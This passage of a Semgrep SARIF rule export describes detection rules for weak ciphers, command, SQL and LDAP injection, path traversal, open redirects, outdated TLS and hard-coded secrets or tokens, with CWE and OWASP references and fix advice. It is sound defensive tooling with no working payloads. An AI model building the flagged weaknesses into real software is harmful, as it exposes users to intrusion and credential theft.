GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","id":"python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","name":"python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic."},"help":{"markdown":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_permission](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_permission)\n - [https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-permission.html](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-permission.html)\n","text":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","id":"terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","name":"terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.command-injection-process-builder.command-injection-process-builder)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","id":"java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","name":"java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.command-injection-process-builder.command-injection-process-builder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"help":{"markdown":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://owasp.org/www-community/attacks/LDAP_Injection](https://owasp.org/www-community/attacks/LDAP_Injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/90.html](https://cwe.mitre.org/data/definitions/90.html)\n","text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","id":"java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","name":"java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"help":{"markdown":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network2)\n","text":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network2","id":"python.lang.compatibility.python37.python37-compatibility-ipv6network2","name":"python.lang.compatibility.python37.python37-compatibility-ipv6network2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv6network2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","id":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","name":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","id":"go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","name":"go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dangerously accepting invalid TLS information"},"help":{"markdown":"Dangerously accepting invalid TLS information\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid)\n - [https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_hostnames](https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_hostnames)\n - [https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_certs](https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_certs)\n","text":"Dangerously accepting invalid TLS information"},"helpUri":"https://semgrep.dev/r/rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","id":"rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","name":"rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation."},"help":{"markdown":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","id":"scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","name":"scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","id":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","name":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.open-redirect.open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.browser.open-redirect.open-redirect","id":"javascript.browser.open-redirect.open-redirect","name":"javascript.browser.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions)\n - [https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle](https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle)\n","text":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","id":"problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","name":"problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.unlink-use.unlink-use)\n - [https://www.php.net/manual/en/function.unlink](https://www.php.net/manual/en/function.unlink)\n - [https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html](https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html)\n","text":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/php.lang.security.unlink-use.unlink-use","id":"php.lang.security.unlink-use.unlink-use","name":"php.lang.security.unlink-use.unlink-use","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.unlink-use.unlink-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions."},"help":{"markdown":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.log-http-headers.log-request-headers)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions."},"helpUri":"https://semgrep.dev/r/java.spring.log-http-headers.log-request-headers","id":"java.spring.log-http-headers.log-request-headers","name":"java.spring.log-http-headers.log-request-headers","properties":{"precision":"very-high","tags":["CWE-532: Insertion of Sensitive Information into Log File","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.log-http-headers.log-request-headers"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","id":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","name":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument."},"help":{"markdown":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-pdb)\n","text":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-pdb","id":"python.lang.compatibility.python37.python37-compatibility-pdb","name":"python.lang.compatibility.python37.python37-compatibility-pdb","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-pdb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","id":"python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","name":"python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2)\n - [https://stackoverflow.com/questions/26504653/is-it-possible-to-disable-sslv3-for-all-java-applications](https://stackoverflow.com/questions/26504653/is-it-possible-to-disable-sslv3-for-all-java-applications)\n","text":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","id":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","name":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Facebook Access Token detected"},"help":{"markdown":"Facebook Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Facebook Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","id":"generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","name":"generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module 